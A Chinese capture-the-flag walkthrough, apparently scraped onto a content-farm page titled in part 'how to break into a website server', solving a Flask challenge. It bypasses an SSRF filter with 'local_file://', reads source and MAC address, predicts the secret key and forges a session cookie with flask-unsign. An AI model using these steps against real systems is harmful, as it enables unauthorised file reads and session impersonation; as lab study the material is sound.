当前位置: 首页 > news >正文

哪些网站可以免费发广告如何侵入网站服务器

哪些网站可以免费发广告,如何侵入网站服务器,最新国际要闻,深圳软件公司排名BUU [CISCN2019 华东南赛区]Web4 题目描述:Click to launch instance. 开题: 点击链接,有点像SSRF 使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。 local_file://协议: local_file…

BUU [CISCN2019 华东南赛区]Web4

题目描述:Click to launch instance.

开题:

image-20231203030538490

点击链接,有点像SSRF

image-20231203030551174

使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。

image-20231203030849532

local_file://协议:

local_file://与file://类似,常用于绕过,可以直接读取本地文件内容

此外,不加协议,直接通过文件名读取文件也行。

/read?url=/etc/passwd

image-20231204163732895

读取后端源码:

/read?url=/app/app.py

源码如下:

import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

注意print语句print str(ex),可以看出后端是python2。

/flag路由验证了session,若session中的usernamefuck,则返回flag。

session的密钥由random决定,random的seed是uuid.getnode()

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

Mac地址存贮在/sys/class/net/eth0/address

/read?url=local_file:///sys/class/net/eth0/address

得到Mac地址为:2e:44:62:0d:63:0a

image-20231204182610239

根据seed预测伪随机数得到key脚本:(python2跑)

import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))

得到key是73.2021768198,不同人不一样。

我们使用flask-unsign工具来伪造session。

解密session:

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'

加密session:

flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval

得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc

image-20231204183509747

访问/flag路由,得到flag

image-20231204183626221

http://www.yayakq.cn/news/109833/

相关文章:

  • 网站开发与桌面应用开发wordpress调用帖子
  • 上海站群优化长沙网络营销公司有哪些
  • 网站类网站开发犯罪吗网站的流量是怎么算的
  • 网站建设经典案例wordpress页面提交参数
  • 河北省住房和城身建设厅网站做招聘网站创业
  • 网站修改图片怎么做wordpress tag伪静态
  • 宁波建设监理管理协会网站seo推广培训费用
  • 网络营销基础战略优化技术基础
  • 苏州网站建设方案扫码点餐小程序怎么做
  • 苏州网站建设科技有限公司wordpress 主题 家居
  • 我的网站在百度搜不到了静态网页设计心得体会
  • 抚顺市营商环境建设局网站wordpress实现瀑布流
  • 安徽长江建设集团有限公司网站wordpress中英网站插件
  • 广州骏域网站做企业网站怎么备案
  • ASP.NET2.0网站开发全程解析详情页设计逻辑
  • 企业建设网站预算摄影网站设计模板
  • 网站网页设计中怎么添加页码信息网站开发模式分为
  • 个人网站备案填写建湖人才网官网登录
  • 专业的公司网站开发电商平台哪个好做
  • 更新网站 是否要重启iis贵州三线建设博物馆网站
  • 爱站网能不能挖掘关键词出台网站集约化建设通知
  • 青岛建站通服饰的网站建设
  • 网站建设流程所用工具软件开发用什么软件编程
  • 松江做网站费用wordpress 海 主题
  • 进口彩妆做的好的网站行业网站维护
  • 黑龙江做网站的公司google网页版登录入口
  • 南宁企业网站建站模板福州网站建设印秀
  • 网站建设预算知乎出名的网站有哪些
  • 长沙门户网站有哪些网站建设的业务范围
  • 住房城乡建设干部学院网站勒流网站建设